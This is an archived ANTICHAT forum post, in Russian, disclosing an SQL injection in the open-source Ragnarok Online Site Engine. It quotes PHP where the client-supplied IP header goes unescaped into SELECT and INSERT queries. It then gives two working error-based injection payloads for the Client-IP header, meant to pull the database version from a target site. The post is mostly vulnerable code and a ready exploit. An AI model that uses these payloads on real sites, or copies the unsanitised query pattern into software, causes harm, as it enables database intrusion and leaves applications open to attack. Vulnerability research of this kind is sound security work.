ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

23.02.2011, 22:53
|
|
Познающий
Регистрация: 17.04.2010
Сообщений: 75
Провел на форуме: 691279
Репутация:
55
|
|
Ragnarok Online Site Engine
http://sourceforge.net/projects/ro-se/
SQLi
include_before.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//...
[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getIP[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#FF8000"]// был ли сегодня, если нет то добавим хапись вместе с реф страницей, если был, то добавим счетчик за этот день
[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT count(*) as cnt FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'ros_db'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]".ros_counter WHERE DATE_FORMAT(date, '%Y%m%d')='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Ymd"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"' and `ip`='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]GetAll[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]);
if([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]'cnt'[/COLOR][COLOR="#007700"]]){[/COLOR][COLOR="#FF8000"]// был сегодня, обновим счетчик
[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'ros_db'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]".ros_counter SET `count`=`count`+1 WHERE DATE_FORMAT(date, '%Y%m%d')='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]date[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Ymd"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"' and `ip`='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"]);
}else{[/COLOR][COLOR="#FF8000"]// ненбыло сегодня, добавим с реферрером
[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"INSERT INTO "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'ros_db'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]".ros_counter (`count`, `ip`, `ref`, `date`) VALUES ('1', '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"', '"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"HTTP_REFERER"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#DD0000"]"', NOW())"[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#FF8000"]//...
[/COLOR][/COLOR]
/include/functions.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//...
[/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]getIP[/COLOR][COLOR="#007700"]() {
if([/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"HTTP_CLIENT_IP"[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"HTTP_CLIENT_IP"[/COLOR][COLOR="#007700"]);
} elseif([/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"HTTP_X_FORWARDED_FOR"[/COLOR][COLOR="#007700"])) {
[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"HTTP_X_FORWARDED_FOR"[/COLOR][COLOR="#007700"]);
} else {
[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]getenv[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"REMOTE_ADDR"[/COLOR][COLOR="#007700"]);
}
return[/COLOR][COLOR="#0000BB"]$ip[/COLOR][COLOR="#007700"];
}
[/COLOR][/COLOR]
/include/db_connect.php
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]function[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$DB[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]){
global[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"];
if(isset([/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'debug'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]$config[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'debug'[/COLOR][COLOR="#007700"]]){
echo[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" \n"[/COLOR][COLOR="#007700"];
}
if([/COLOR][COLOR="#0000BB"]$DB[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$DB[/COLOR][COLOR="#007700"]);
}else{
[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"]);
}
if([/COLOR][COLOR="#0000BB"]mysql_error[/COLOR][COLOR="#007700"]()){
echo[/COLOR][COLOR="#0000BB"]mysql_error[/COLOR][COLOR="#007700"]().[/COLOR][COLOR="#DD0000"]" \n"[/COLOR][COLOR="#007700"];
echo[/COLOR][COLOR="#DD0000"]"query:"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$query[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" \n"[/COLOR][COLOR="#007700"];
return[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"];
}else{
return[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"];
}
}
[/COLOR][/COLOR]
Как видно из кода у нас инъекция в хедере при чем в селекте и инсерте, покажу варианты раскрутки. Еще больше меня порадовала функция запроса, в случае ошибки она выводит саму ошибку + сам запрос, и нет никаких exit`ov и die`v.
Эксплуатация: http://site.com/index.php
Код:
Code:
client-ip: 'and(select*from(select(name_const(version(),1)),name_const(version(),1))a)and'
либо
Код:
Code:
client-ip: ', 'lala', NOW()) on duplicate key update a=(select 1 from(select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2)))a)-- 1
|
|
|
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Библиотека
|
SladerNon |
Болталка |
17 |
05.02.2007 23:30 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|